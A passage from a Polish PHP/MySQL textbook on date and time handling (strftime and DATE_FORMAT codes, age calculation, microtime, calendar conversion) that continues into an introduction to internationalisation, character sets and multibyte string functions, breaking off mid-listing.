Znacznik czasu można sformatować zgodnie z ustawieniami regionalnymi systemu (ustawieniami
lokalnymi serwera WWW) za pomocą funkcji strftime(). Prototyp funkcji strftime() przedsta-
wia się następująco:
string strftime(string $format [, int $znacznik_czasu])

Parametr $format to kod formatowania, który definiuje sposób wyświetlenia znacznika czasu.
Parametr $znacznik_czasu natomiast to znacznik czasu przekazywany do funkcji. Parametr
$znacznik_czasu jest opcjonalny. Jeżeli do funkcji nie zostanie przekazany znacznik czasu, wów-
czas użyty zostanie bieżący znacznik czasu systemu (czyli znacznik na moment wykonania
skryptu). Na przykład poniższy kod:
<?php
echo strftime('%A<br />');
echo strftime('%x<br />');
echo strftime('%c<br />');
echo strftime('%Y<br />');
?>

wyświetli aktualny znacznik czasu w czterech różnych formatach. Wynik działania kodu będzie
podobny do przedstawionego poniżej:
Tuesday
02/17/15
Tue Feb 17 02:10:19 2015
2015

Pełna lista kodów formatowania dla funkcji strftime() przedstawiono w tabeli 19.3.
Rozdział 19.  Zarządzanie datą i czasem 421

Tabela 19.3. Kody formatowania dla funkcji strftime()

Klucz Wartość
%a Skrótowa nazwa dnia tygodnia
%A Pełna nazwa dnia tygodnia
%b lub %h Skrótowa nazwa miesiąca. Wartości należą do zakresu od Jan do Dec
%B Pełna nazwa miesiąca. Wartości należą do zakresu od January do December
%c Data i czas w standardowym formacie, na przykład Tue Feb 02:13:04 2015
%C Wiek w formacie dwucyfrowym, wyliczany przez podzielenie roku przez 100 i pominięcie części
dziesiętnej, na przykład 20
%d Dzień miesiąca w postaci skrótowej (przedział od 01 do 31)
%D Data w postaci skrótowej (to samo co mm/dd/yy), na przykład 02/17/15
%e Dzień miesiąca w postaci dwuznakowego łańcucha znaków (od '1' do '31')
%F Inna nazwa dla formatu "%Y-%m-%d", często stosowanego formatu zapisu dat w bazach danych.
Generuje daty takie jak 2015-02-17
%g Dwucyfrowy rok zgodny z numerem tygodnia, zgodny z ISO-8601
%G Czterocyfrowy rok zgodny z numerem tygodnia, zgodny z ISO-8601
%H Godzina (przedział od 00 do 23)
%I Godzina (przedział od 1 do 12)
%j Dzień roku (przedział od 001 do 366)
%k Godzina jako dwuznakowy łańcuch (od '1' do '23')
%l Godzina jako dwuznakowy łańcuch (od '1' do '23')
%m Miesiąc (przedział od 01 do 12)
%M Minuty (przedział od 00 do 59)
%n Znak nowego wiersza (\n)
%p Łańcuch znaków AM lub PM (wielkimi literami)
%P Łańcuch znaków am lub pm (małymi literami)
%r Czas w notacji z a.m. lub p.m., na przykład 02:22:45 AM
%R Czas w notacji 24-godzinnej, na przykład 02:22
%s Znacznik czasu epoki Uniksa, odpowiadający wywołaniu funkcji time(), na przykład 1424140235
%S Sekundy (przedział od 00 do 59)
%t Znak tabulacji (\t)
%T Godzina w formacie gg:mm:ss, na przykład 02:23:57
%u Numer dnia tygodnia (przedział od 1 do 7, gdzie 1 oznacza poniedziałek, a 7 — niedzielę), zgodny
z ISO-8601
%U Numer tygodnia aktualnego roku, począwszy od pierwszej niedzieli jako pierwszego dnia
pierwszego tygodnia
%V Numer tygodnia aktualnego roku, gdzie tydzień 1 jest pierwszym tygodniem, który ma co najmniej
4 dni w aktualnym roku, przy czym pierwszym dniem tygodnia jest poniedziałek; zgodny z ISO-8601
422 Część IV  Zaawansowane techniki PHP

Tabela 19.3. Kody formatowania dla funkcji strftime() (ciąg dalszy)

Klucz Wartość
%w Dzień tygodnia (przedział od 0 do 6, gdzie 0 oznacza niedzielę, a 6 oznacza sobotę)
%W Numer tygodnia aktualnego roku, gdzie pierwszy poniedziałek jest pierwszym dniem pierwszego
tygodnia
%x Data w standardowym formacie (bez czasu), na przykład 02/17/25
%X Czas w standardowym formacie (bez daty), na przykład 02:26:21
%y Rok dwucyfrowy, na przykład 15
%Y Rok czterocyfrowy, na przykład 2015
%z Przesunięcie strefy czasowej, na przykład -0500
%Z Skrót nazwy strefy czasowej, na przykład EST

Należy zaznaczyć, że za każdym razem, gdy w tabeli 19.3 jest mowa o standardowym formacie,
kod formatowania jest zastępowany przez wartość odpowiadającą ustawieniom lokalnym serwera
WWW. Funkcja strftime() doskonale nadaje się do wyświetlania dat i godzin w różnorodnych
formach, które uczynią strony internetowej najbardziej przyjaznymi.

Konwersja pomiędzy formatami daty PHP i MySQL


Daty i czas w MySQL są przechowywane w formacie ISO 8601. Godziny są obsługiwane w sposób
intuicyjny, lecz norma ISO 8601 wymaga, by w datach jako pierwszy składnik podawano rok.
Na przykład data 17 lutego 2015 powinna zostać wpisana jako 2015-02-17 lub 15-02-17. Daty po-
brane z MySQL domyślnie będą posiadać taki właśnie format.

Zależnie od docelowej grupy użytkowników, funkcja ta może się okazać niezbyt dla nich przyjazna.
W związku z tym, w celu komunikacji pomiędzy PHP i MySQL należy zazwyczaj dokonać operacji
konwersji daty. Działania te mogą zostać wykonane po każdej ze stron.

Podczas przekazywania dat z PHP do MySQL można je łatwo ułożyć w poprawny format za
pomocą funkcji date(), jak pokazano poprzednio. Należy tylko pamiętać o jednym — jeśli daty są
tworzone samodzielnie, zalecane jest stosowanie wersji dnia i miesiąca z wiodącymi zerami,
aby nie sprawiać trudności MySQL. Można używać dwucyfrowego zapisu roku, lecz lepszym
wyjściem będzie zapisywanie roku przy użyciu czterech cyfr. Jeżeli konwersja ma zostać wykonana
przez MySQL, dwie przydatne do tego celu funkcje to DATE_FORMAT() i UNIX_TIMESTAMP().

Funkcja DATE_FORMAT() działa w sposób podobny do swojego odpowiednika w PHP, lecz stosuje
inne kody formatów. Najpowszechniej używanym działaniem jest konwersja daty do formatu
amerykańskiego MM-DD-RRRR, zamiast formatu ISO właściwego MySQL — RRRR-MM-DD.
Można to wykonać poprzez wytworzenie następującego zapytania:
SELECT DATE_FORMAT(kolumna_daty, '%m %d %Y')
FROM nazwatabeli;

Kod formatu %m odpowiada miesiącowi w formacie dwucyfrowym, %d — dniowi w formacie


dwucyfrowym, a %Y — rokowi w formacie czterocyfrowym. Podsumowanie bardziej użytecznych
kodów formatów MySQL jest przedstawione w tabeli 19.4.
Rozdział 19.  Zarządzanie datą i czasem 423

Tabela 19.4. Kody formatów funkcji MySQL DATE_FORMAT()

Kod Opis
%M Miesiąc, pełny tekst
%W Nazwa dnia tygodnia, pełny tekst
%D Dzień miesiąca, z przyrostkiem tekstowym (na przykład 1st)
%Y Rok, numeryczny, 4 cyfry
%y Rok, numeryczny, 2 cyfry
%a Nazwa dnia tygodnia, 3 znaki
%d Dzień miesiąca, numeryczny, zera wiodące
%e Dzień miesiąca, numeryczny, bez zer wiodących
%m Miesiąc, numeryczny, zera wiodące
%c Miesiąc, numeryczny, bez zer wiodących
%b Miesiąc, tekst, 3 znaki
%j Dzień roku, numeryczny
%H Godzina, format dwudziestoczterogodzinny, zera wiodące
%k Godzina, format dwudziestoczterogodzinny, bez zer wiodących
%h lub %I Godzina, format dwunastogodzinny, zera wiodące
%l Godzina, format dwunastogodzinny, bez zer wiodących
%i Minuty, numeryczny, zera wiodące
%r Czas, format dwunastogodzinny (gg:mm:ss [AM|PM])
%T Czas, format dwudziestoczterogodzinny (gg:mm:ss)
%S lub %s Sekundy, numeryczny, zera wiodące
%p AM lub PM
%w Dzień tygodnia, numeryczny, od 0 (niedziela) do 6 (sobota)

Najbardziej aktualną i kompletną listę wszystkich kodów formatujących funkcji DATE_FORMAT()


można znaleźć w dokumentacji MySQL dostępnej na stronie: http://dev.mysql.com/doc/refman/5.6/
en/date-and-time-functions.html#function_date-format.

Funkcja UNIX_TIMESTAMP() działa w podobny sposób, lecz zamienia kolumnę na znacznik czasu
Uniksa. Na przykład
SELECT UNIX_TIMESTAMP(kolumna_daty)
FROM nazwatabeli;
zwróci datę w formacie znacznika czasu Uniksa. Później można z nim postąpić w podobny sposób
jak w PHP.

Obliczenia i porównania dat można łatwo wykonywać, stosując znaczniki czasu Unix. Należy
jednak pamiętać, że znaczniki czasu mogą zwykle reprezentować daty jedynie z zakresu od roku
1902 do roku 2038, podczas gdy zakres dat MySQL jest znacznie szerszy.

Zaleca się stosowanie znaczników czasu Uniksa do obliczeń dat, a standardowego formatu daty do
ich przechowywania lub wyświetlania.
424 Część IV  Zaawansowane techniki PHP

Obliczanie dat w PHP


Najprostszym sposobem obliczania różnicy czasu pomiędzy dwoma datami w PHP jest zastoso-
wanie różnicy pomiędzy znacznikami czasu Uniksa. Ujęcie to jest zastosowane w skrypcie przed-
stawionym na listingu 19.1.

Listing 19.1. oblicz_wiek.php — skrypt obliczający wiek osoby na podstawie daty urodzenia
<?php
// ustawienie daty do obliczeń
$dzien = 18;
$miesiac = 9;
$rok = 1972;

// proszę pamiętać, że dataur musi mieć format dzien miesiąc rok


$dataurunix = mktime(0, 0, 0, $miesiac, $dzien, $rok); //znacznik dla dataur
$terazunix = time(); // znacznik dla dnia dzisiejszego
$wiekunix = $terazunix - $dataurunix; // obliczenie różnicy
$wiek = floor($wiekunix / (365 * 24 * 60 * 60)); // konwersja z sekund na lata

echo 'Wiek to: '. $wiek.'.';


?>

W powyższym skrypcie data służąca do obliczenia wieku została podana ręcznie. W prawdziwych
aplikacjach informacja ta zazwyczaj pochodzi z formularza HTML. W pierwszej kolejności należy
wywołać funkcję mktime() w celu obliczenia znacznika czasu dla daty urodzenia i aktualnego
czasu:
$dataurunix = mktime(0, 0, 0, $miesiac, $dzien, $rok);
$terazunix=time(); // znacznik dla dnia dzisiejszego

Kiedy daty te posiadają już ten sam format, można po prostu odjąć je od siebie:
$wiekunix=$terazunix - $dataurunix;

Teraz następuje nieco trudniejsza część — konwersja tego okresu z powrotem do formatu bliższego
potocznemu myśleniu. Nie jest to znacznik czasu, lecz wiek osoby mierzony w sekundach. Można
tę liczbę ponownie przekonwertować na lata poprzez podzielenie jej przez liczbę sekund w roku.
Następnie zostaje ona zaokrąglona w dół za pomocą funkcji floor(), aby na przykład wiek osoby
nie był określany jako 20, dopóki nie ukończy ona dwudziestego roku życia:
$wiek=floor($wiekunix / (365 * 24 * 60 * 60)); // konwersja z sekund na lata

Należy jednak zauważyć, że to ujęcie posiada wady, ponieważ jest ograniczone poprzez wielkość
znaczników czasu Uniksa (ogólnie 32-bitowych liczb typu integer). Znaczniki czasu nie są jednak
najlepszą formą prezentacji dat urodzenia. Przedstawiony przykład będzie działał na wszystkich
platformach jedynie w przypadku osób urodzonych w roku 1970 lub późniejszym. System Windows
nie obsługuje znaczników czasu wcześniejszych niż dla roku 1970. Nawet jednak biorąc ten fakt
pod uwagę, obliczenia mogą okazać się nie do końca prawidłowe, ponieważ nie uwzględnia się
w nich lat przestępnych, a dodatkowe błędy mogą wystąpić, jeśli o północy w dniu urodzin w lokal-
nej strefie czasowej następuje zmiana czasu na letni.
Rozdział 19.  Zarządzanie datą i czasem 425

Obliczanie dat w MySQL


PHP udostępnia kilka funkcji służących do manipulowania datami, takich jak date_add(), date_sub()
oraz date_diff(). Oczywiście, można takie funkcje napisać samodzielnie, lecz zagwarantowanie
prawidłowej obsługi lat przestępnych i zmiany czasu na letni może być dość dużym wyzwaniem,
dlatego najlepiej jest radzić sobie przy użyciu tych, które są dostępne.

Innym rozwiązaniem, które nie jest widoczne od razu, jest użycie serwera MySQL. Udostępnia on
szeroki zbiór funkcji manipulowania datami, działających również dla dat i godzin wykraczających
poza zakres znaczników czasu Uniksa. W celu wykonania zapytania trzeba połączyć się z serwerem
MySQL, nie trzeba jednak w tym przypadku pobierać z bazy jakichkolwiek danych.

Poniższe zapytanie dodaje jeden dzień do 28 lutego 1700 roku i zwraca datę wynikową:
select adddate('1700-02-28', interval 1 day);

Rok 1700 nie jest rokiem przestępnym, zatem datą wynikową będzie 1700-03-01.

Wyczerpujący opis składni służącej do opisywania i modyfikowania dat można znaleźć w podręczniku
MySQL dostępnym pod adresem http://dev.mysql.com/doc/refman/5.6/en/date-and-time-functions.html.

Niestety, nie istnieje prosty sposób obliczenia liczby lat między dwiema datami, zatem przykład
z datami urodzin wciąż pozostaje problemem. Wiek osoby mierzony w dniach można bardzo łatwo
odczytać, a kod z listingu 19.2 dodatkowo obliczy na jego podstawie przybliżoną liczbę lat.

Listing 19.2. mysql_oblicz_wiek.php — skrypt obliczający wiek osoby na podstawie daty urodzenia przy użyciu
serwera MySQL
<?php
// ustawienie daty dla celów obliczeniowych
$dzien = 18;
$miesiac = 9;
$rok = 1972;

// sformatowanie daty zgodnie z normą ISO 8601


$dataurISO = date("c", mktime (0, 0, 0, $miesiac, $dzien, $rok));

// obliczenie wieku wyrażonego w dniach przy użyciu mysql


$db = mysqli_connect('localhost', 'uzytkownik', 'haslo');
$wynik = mysqli_query($db, "select datediff(now(), '$dataurISO')");
$wiek = mysqli_fetch_array($wynik);

// przekształcenie wieku w dniach na przybliżony wiek w latach


echo "Twój wiek to ".floor($wiek[0]/365.25)." lat(a).";
?>

Po sformatowaniu daty do postaci znacznika czasu ISO, do serwera MySQL zostanie przesłane
następujące zapytanie:
select datediff(now(), '1972-09-18T00:00:00+02:00')

Funkcja now() serwera MySQL zwraca bieżącą datę i godzinę. Funkcja datediff() serwera odej-
muje natomiast jedną datę od drugiej i zwraca obliczoną różnicę wyrażoną w dniach.

Warto zaznaczyć, że data nie jest odczytywana z tabeli ani nawet w skrypcie nie wybiera się bazy
danych — wystarczy tylko zalogować się do serwera MySQL, używając odpowiedniej nazwy
użytkownika i hasła.
426 Część IV  Zaawansowane techniki PHP

Ponieważ nie istnieje żadna wbudowana funkcja przeznaczona specjalnie do wykonywania takich
obliczeń, zapytanie SQL obliczające dokładną liczbę lat byłoby dosyć skomplikowane. W naszym
przykładzie zastosowano pewien skrót, polegający na podzieleniu liczby dni przez 365,25, co
w efekcie ma dać wiek wyrażony liczbą lat. Wynik ten może różnić się od prawidłowego o rok,
jeśli zapytanie zostanie wykonane w dniu urodzin danej osoby i zależnie od tego, ile lat przestępnych
wystąpiło w całym życiu tej osoby.

Stosowanie mikrosekund
W niektórych aplikacjach mierzenie czasu w sekundach może nie być wystarczająco precyzyjne.
Jeżeli trzeba mierzyć bardzo krótkie okresy, na przykład czas wykonania jednego lub kilku skryptów
PHP, należy użyć funkcji microtime().

Choć parametr funkcji microtime() jest opcjonalny, to jednak zalecamy, by w wywołaniach tej
funkcji nadawać mu wartość true. Dzięki podaniu tego parametru opcjonalnego funkcja microtime()
zwróci znacznik czasu wyrażony w postaci liczby zmiennoprzecinkowej, gotowej do użycia
w dowolnie wybrany sposób. Jest to ten sam znacznik czasu, co znacznik zwrócony przez mktime(),
time() i date(), zawierający jednak dodatkowo część ułamkową.

Poniższa instrukcja:
echo number_format(microtime(true), 5, '.', '');

zwróci wynik w postaci 1424141373.59059.

W starszych wersjach PHP nie można zażądać zwrócenia wyniku w postaci liczby zmiennoprze-
cinkowej — jest on zwracany w postaci łańcucha znaków. Wywołanie funkcji microtime() bez
parametru spowoduje zwrócenie przez nią łańcucha znaków w postaci " 0.88679500 1424141403".
Pierwsza liczba to część ułamkowa, natomiast druga to liczba wszystkich sekund, jakie upłynęły
od 1 stycznia 1970 roku.

Przetwarzanie liczb jest bardziej użyteczne niż przetwarzanie łańcuchów znaków, zatem najłatwiej
jest wywołać funkcję microtime() z parametrem true.

Stosowanie funkcji kalendarzowych


PHP posiada zbiór funkcji pozwalających na konwersję pomiędzy różnymi systemami kalendarzo-
wymi. Do podstawowych kalendarzy należą: gregoriański, juliański oraz juliańska rachuba dni.

Kalendarz gregoriański obowiązuje obecnie w większości krajów zachodnich. Gregoriańska data


15 października 1582 roku jest równoważna 5 października 1582 roku w kalendarzu juliańskim.
W okresie poprzedzającym tę datę kalendarz juliański był powszechnie stosowany. Poszczególne
państwa wprowadziły kalendarz gregoriański w różnych okresach, a niektóre dopiero na początku
XX wieku.
Te dwa kalendarze są powszechnie znane. Mniej popularna jest juliańska rachuba dni, podobna pod
wieloma względami do znacznika czasu Uniksa. Jest to rachuba liczby dni od około 4000 roku
p.n.e. Sama w sobie jest mało użyteczna, lecz okazuje się przydatna podczas konwersji między
formatami. Aby dokonać konwersji z jednego formatu na inny, należy najpierw przekonwertować
go na juliańską rachubę dni (JD), a później na pożądany kalendarz.
Rozdział 19.  Zarządzanie datą i czasem 427

Aby korzystać z tych funkcji, należy wkompilować w PHP rozszerzenie calendar używając opcji
--enable-calendar. Jest ono już wkompilowane w standardowej instalacji dla Windows.

Można na przykład rozważyć prototypy funkcji stosowanych do konwersji kalendarza gregoriań-


skiego na juliański:
int gregoriantojd(int miesiąc, int dzień, int rok)
string jdtojulian(int rachubajuliańska)

Aby dokonać konwersji daty, należy wywołać obie powyższe funkcje:


$jd=gregoriantojd(9, 18, 1582);
echo jdtojulian($jd);

Powyższy fragment kodu wyświetla datę juliańską w formacie MM/DD/RRRR.


Istnieją odmiany powyższych funkcji służące do konwersji między kalendarzami gregoriańskim,
juliańskim, francuskim i hebrajskim oraz znacznikami czasu Uniksa.

Propozycje dalszych lektur


Więcej informacji na temat funkcji daty i czasu w PHP i MySQL jest dostępnych w odpowiednich
rozdziałach podręczników, które można znaleźć pod adresami: http://php.net/manual/en/book.
datetime.php oraz http://dev.mysql.com/doc/refman/5.6/en/date-and-time-functions.html.

Podczas dokonywania konwersji pomiędzy kalendarzami warto zajrzeć do odpowiedniej części


podręcznika PHP: http://php.net/manual/en/book.calendar.php.

W następnym rozdziale
O ustawieniach lokalnych wspomniano już przy okazji prezentowania funkcji służących do obsługi
dat i godzin, jednak zrozumienie zagadnień związanych z ustawieniami lokalnymi jest nieodzowne
w kontekście tworzenia wielojęzycznych aplikacji internetowych. Rozdział 20., „Umiędzynaroda-
wianie i lokalizowanie”, wyjaśnia, że lokalizacja to znacznie więcej niż samo przetłumaczenie
tekstów, i pokazuje, w jaki sposób można przygotować aplikację do tego procesu.
428 Część IV  Zaawansowane techniki PHP
Rozdział 20.
Umiędzynarodawianie
i lokalizowanie
W tym rozdziale przedstawione zostaną podstawy umiędzynarodawiania aplikacji interneto-
wych w celu przygotowania ich do lokalizacji ich zawartości. Tworzenie aplikacji umiędzyna-
rodowionych — czyli posiadających wiele wersji językowych — w PHP jest proste i zapewnia
liczne korzyści użytkownikom aplikacji pochodzącym z różnych krajów. Na początku rozdzia-
łu, w celu przygotowania Czytelnika do zdobycia użytkowników z wielu różnych krajów, wyja-
śnione zostaną różnice pomiędzy umiędzynarodawianiem oraz lokalizacją aplikacji, związki między
obiema tymi operacjami oraz dotyczące ich pojęcia.

Oto kluczowe zagadnienia opisane w tym rozdziale:


 Zrozumienie zasady stosowania różnych zbiorów znaków i przygotowanie
do wykonywania tej operacji.
 Przygotowanie struktury aplikacji pod kątem tworzenia zlokalizowanych treści.
 Wykorzystywanie funkcji gettext() do umiędzynarodawiania i lokalizacji.

Lokalizacja to nie tylko tłumaczenie


Bardzo często można się spotkać z błędnym przekonaniem, że lokalizacja witryny, aplikacji inter-
netowej czy też czegokolwiek innego sprowadza się jedynie do przetłumaczenia treści na odpo-
wiedni język. Koniecznie trzeba jednak zrozumieć, że ani umiędzynarodawianie, ani lokalizacja
nie jest tym samym co tłumaczenie. W rzeczywistości można mieć witrynę lub aplikację interneto-
wą, których treść będzie przetłumaczona — na przykład na niemiecki, hiszpański czy też japoński
— a mimo to w ogóle nie będą one uznawane za umiędzynarodowione ani nawet za zlokalizowane.
Mogłyby jedynie zostać uznane za przetłumaczone.

Aby stworzyć oprogramowanie zlokalizowane (przy czym za oprogramowanie można tu uznać


witrynę WWW, aplikację internetową bądź program dowolnego innego typu), najpierw trzeba je
umiędzynarodowić. Podstawowe elementy umiędzynarodawiania oprogramowania to:
 wyodrębnienie łańcuchów znaków, ikon oraz grafiki;
 zapewnienie możliwości zmiany postaci wyników generowanych przez funkcje
formatujące (daty, waluty, liczby itd.).

Wyłącznie w przypadku napisania oprogramowania w taki sposób, że używane w nim łańcuchy


znaków będą wyodrębnione — czyli wszystkie łańcuchy znaków stosowane w funkcjach, klasach
oraz innych miejscach kodu zostaną umieszczone w jednym miejscu i wykorzystane w kodzie
430 Część IV  Zaawansowane techniki PHP

w postaci stałych, a funkcje formatujące będą mogły zmieniać postać generowanych łańcuchów
w zależności od używanych ustawień lokalnych — będzie możliwe rozpoczęcie procesu lokalizacji.

Lokalizacja to miejsce określające pewne ustawienia, na przykład miejsce, którego mieszkańcy


mówią w amerykańskiej odmianie języka angielskiego i w słowie color nie używają „u” — taką
lokalizację można nazwać Stanami Zjednoczonymi Ameryki. Jednak w świecie komputerów tak
zwane ustawienia lokalne odnoszą się do grupy parametrów określających język użytkowników,
rejon geograficzny oraz wszelkie inne preferencje związane z lokalizacją geograficzną, które
mogą mieć wpływ na prezentowanie informacji w interfejsie użytkownika.

Standardowe identyfikatory ustawień lokalnych składają się zarówno z kodu języka, jak i regionu,
na przykład en_US oznacza „odmianę języka angielskiego używaną w USA”, a en_GB „odmianę
języka angielskiego używaną w Wielkiej Brytanii”.

Można by się zastanawiać, dlaczego wprowadzono takie rozróżnienie geograficzne, jednak aby
znaleźć odpowiedź na to pytanie, wystarczy sobie wyobrazić różnice w zapisie tych samych słów
w obu odmianach języka angielskiego albo różnice kontekstowe, których wprowadzenie w two-
rzonym oprogramowaniu mogłoby być pożądane. Innym przykładem mogłaby być witryna,
której treści są pisane w języku niemieckim i która jest przeznaczona wyłącznie dla obywateli
Niemiec — taka witryna mogłaby używać ustawień lokalnych de_DE („język niemiecki używany
w Niemczech”). Choć Austriacy mówiący po niemiecku mogliby używać tej witryny w identycz-
nej postaci bez najmniejszych problemów, to jednak nigdy nie byłaby ona idealnie dostosowana
do ich potrzeb, jeśli nie zostałaby zlokalizowana przy wykorzystaniu ustawień lokalnych de_AT
(„język niemiecki używany w Austrii”).

Zbiory znaków
Zbiory znaków są zazwyczaj określane jako jednobajtowe lub wielobajtowe. Określenia te wskazują
na liczbę bajtów konieczną do zdefiniowania ze znakami używanymi w danym języku. Angielski,
niemiecki, francuski albo polski (jak i wiele innych języków) są językami jednobajtowymi,
gdyż do reprezentacji liter, takich jak a, oraz cyfr, takich jak 9, potrzeba tylko jednego bajta.
Jednobajtowe zbiory znaków zawierają maksymalnie 256 znaków, w tym kompletny zestaw zna-
ków ASCII, znaki diakrytyczne oraz inne znaki niezbędne do formatowania.

Wielobajtowe zbiory znaków mogą składać się z więcej niż 256 znaków, a ich podzbiorami mogą
być jednobajtowe zbiory znaków. Do języków wielobajtowych należą między innymi tradycyj-
nych chiński, japoński, koreański, tajski, arabski czy też hebrajski. W tych językach do zapisania
jednego znaku potrzeba więcej niż jednego bajta. Doskonałym przykładem może być słowo Tokio,
czyli nazwa stolicy Japonii. W języku polskim jest ono zapisywane przy użyciu 5 różnych liter, co
wymaga użycia 5 bajtów. Niemniej jednak w języku japońskim słowo to jest reprezentowane
przez dwie sylaby — tou oraz kyou — z których każda jest zapisywana z użyciem 2 bajtów, co
oznacza, że zapisanie tego słowa wymaga w sumie 4 bajtów.

Aby prawidłowo interpretować i wyświetlać teksty na stronach WWW w zamierzonym języku,


ich twórca musi poinformować przeglądarkę, którego zbioru znaków należy użyć. Wykorzysty-
wany jest do tego specjalny nagłówek, przesyłany przed samą zawartością dokumentu.

Konkretnie rzecz biorąc, chodzi tu o dwa nagłówki: Content-type oraz Content-language, które
można także określić przy użyciu odpowiednich atrybutów znacznika HTML5. PHP daje możliwość
stworzenia środowiska dynamicznego, można zatem zabezpieczyć się na wszelkie okoliczności
i zarówno przesyłać do przeglądarki odpowiednie nagłówki, jak i umieszczać w generowanym
dokumencie odpowiadające im atrybuty znacznika HTML5.
Rozdział 20.  Umiędzynarodawianie i lokalizowanie 431

Poniżej przedstawiony został przykład zastosowania funkcji header() do wygenerowania informacji


o kodowaniu znaków odpowiednich dla witryny prezentowanej w języku angielskim:
header("Content-Type: text/html;charset=ISO-8859-1");
header("Content-Language: en");

Te nagłówki należy uzupełnić poniższymi znacznikami HTML5:


<html lang="en">
<meta charset="ISO-8859-1">

Z kolei w przypadku witryny w języku japońskim zbiór znaków oraz kod języka należałoby określić
przy użyciu nagłówków generowanych w następujący sposób:
header("Content-Type: text/html;charset=UTF-8");
header("Content-Language: ja");

Natomiast znaczniki HTML5 miałyby następującą postać:


<html lang="ja">
<meta charset="UTF-8">

Wygenerowanie odpowiednich nagłówków jest ważne, gdyż na przykład witryna zawierająca


na stronach fragmenty tekstu w języku japońskim bez użycia nagłówków ustawiających odpowiedni
język i zestaw znaków nie będzie wyświetlana prawidłowo w przeglądarkach, w których japoński
nie jest językiem głównym. Innymi słowy, ze względu na brak określenia zbioru znaków przeglą-
darka przyjmie, że ma wyświetlać teksty na stronie przy użyciu swojego domyślnego zbioru
znaków.

I podobnie, jeśli japońska witryna używa zbioru znaków UTF-8, a domyślnym zbiorem znaków
przeglądarki jest ISO-8859-1, to spróbuje ona wyświetlać teksty w języku japońskim, korzystając
z jednobajtowego zbioru znaków ISO-8859-1. Jeżeli wygenerowane nagłówki nie zmienią
używanego zbioru znaków na UTF-8 oraz jeżeli w systemie operacyjnym nie będą zainstalowane
odpowiednie biblioteki i pakiety językowe niezbędne do wyświetlania tekstu w zamierzony sposób,
to skutki mogą być fatalne.

Zbiory znaków i ich związki z bezpieczeństwem


W internetowym podręczniku PHP — a zwłaszcza w jego części poświęconej interakcjom z różny-
mi bazami danych, takimi jak MySQL — można znaleźć ostrzeżenia o wpływie zbiorów znaków na
bezpieczeństwo. Nie należy tego rozumieć tak, że to zbiory znaków same w sobie są niebezpieczne.
Ostrzeżenia te są publikowane, by programiści zrozumieli, chociaż w pewnym stopniu, czym są
zbiory znaków i jakie zagrożenia mogą wystąpić, jeśli podczas korzystania z łańcuchów zawierają-
cych różne znaki — na przykład w poleceniach SQL — nie zostaną podjęte odpowiednie środki
ostrożności.

Klasycznym przykładem zagrożenia związanego z używanymi zbiorami znaków jest różnica pomię-
dzy kodowaniem wykorzystywanym przez serwer PHP a kodowaniem używanym przez MySQL,
zwłaszcza w przypadku stosowania języków wielobajtowych. Załóżmy, że PHP uważa, że przesyła
do serwera MySQL zwyczajne teksty ASCII, a domyślnym zbiorem znaków używanym przez ser-
wer MySQL jest Big5. W takim przypadku zastosowanie funkcji mysql_real_escape_string()
(lub jej obiektowego odpowiednika) do zabezpieczenia łańcuchów znaków przesyłanych do bazy
dany spowoduje, że zostaną w nich pominięte znaki kończące dwubajtowe sekwencje znaków
Big5, gdyż PHP po prostu nie będzie wiedział o konieczności ich stosowania.
432 Część IV  Zaawansowane techniki PHP

Takie nieporozumienia komunikacyjne sprawią, że zakodowany znak stanie się niezrozumiały,


co będzie miało fatalne skutki, jeśli potem zostanie on wyświetlony w interfejsie użytkownika.
Jednak nawet gorsze konsekwencje może pociągnąć za sobą to, że ktoś spróbuje wykorzystać to
niedopasowanie, by wstrzyknąć kod SQL do niezabezpieczonego łańcucha, który w takiej sytuacji
będzie przesyłany do bazy, a następnie go wykonać.

Stosowanie wielobajtowych funkcji łańcuchowych w PHP


Skoro już wspomniano tu o wielobajtowych schematach kodowania, nie sposób nie wspomnieć
także o tym, że PHP udostępnia zestaw wbudowanych funkcji służących do operowania na łań-
cuchach składających się ze znaków wielobajtowych. Próba wykonywania operacji na takich
łańcuchach przy użyciu funkcji, które nie są do tego przeznaczone i nie potrafią rozróżniać
znaków wielobajtowych, doprowadziłaby zapewne do przetworzenia łańcucha w niewłaściwy
sposób. Jeśli się nad tym dobrze zastanowić, to okazuje się, że jest to całkiem zrozumiałe, gdyż
funkcje napisane w celu operowania na znakach jednobajtowych nie powinny wiedzieć, co zrobić
ze znakami wielobajtowymi (mogłyby przetworzyć je w niewłaściwy sposób).

Aby móc korzystać z wielobajtowych funkcji łańcuchowych w PHP, należy je włączyć na etapie
konfiguracji, przed zbudowaniem PHP. Służy do tego opcja --enable-mbstring. Użytkownicy
systemu Windows muszą włączyć w pliku konfiguracyjnym php.ini bibliotekę php_mbstring.dll.
Po takim skonfigurowaniu PHP będzie już można używać wszystkich z ponad 40 funkcji służących
do obsługi łańcuchów znaków wielobajtowych.

Więcej informacji na temat tych funkcji można znaleźć w internetowej dokumentacji PHP dostępnej
na stronie http://www.php.net/mbstring. Ogólnie rzecz biorąc, podczas operowania na łańcuchach
znaków wielobajtowych w pierwszej kolejności należy poszukać zwyczajnej funkcji łańcuchowej,
a następnie odszukać jej wielobajtowy odpowiednik (na przykład funkcji strpos() będzie odpowia-
dać funkcja mb_stripos(), przeznaczona do wyszukiwania w łańcuchach znaków wielobajtowych).

Tworzenie struktury strony


przystosowanej do lokalizacji
Po przedstawieniu podstawowych informacji o umiędzynarodawianiu, lokalizacji i zbiorach
znaków nadszedł czas na zaprezentowanie struktury witryny zapewniającej możliwość lokalizacji.
Opisane tu elementy pozwalają na wybór języka docelowego oraz wyświetlenie powitania
w tym języku.

Celem tego podrozdziału jest przedstawienie prostego przykładu wyodrębniania łańcuchów


znaków — stanowiącego jedną z cech charakterystycznych umiędzynarodawiania — oraz wyświe-
tlania zlokalizowanego tekstu zależnie od preferencji użytkownika. Zakładamy, że użytkownik
trafia na polską wersję witryny, która daje mu jednak możliwość wyboru innych ustawień lokalnych
(w tym przykładzie są to ustawienia angielskie i japońskie).

Proce ten składa się z trzech etapów:


 utworzenia i użycia pliku głównego przesyłającego nagłówki określające informacje
o ustawieniach lokalnych;
 utworzenia i użycia pliku głównego służącego do wyświetlania informacji na podstawie
wybranych ustawień lokalnych;
 stosowania samego skryptu.
Rozdział 20.  Umiędzynarodawianie i lokalizowanie 433

Listing 20.1 przedstawia zawartość pliku głównego używanego do przesyłania nagłówków związa-
nych z lokalizacją.

Listing 20.1. jezyk_definicja.php — skrypt definiujący język


<?php
if ((!isset($_SESSION['jezyk'])) || (!isset($_GET['jezyk']))) {
$_SESSION['jezyk'] = "pl";
$jezykBiezacy = "pl";
} else {
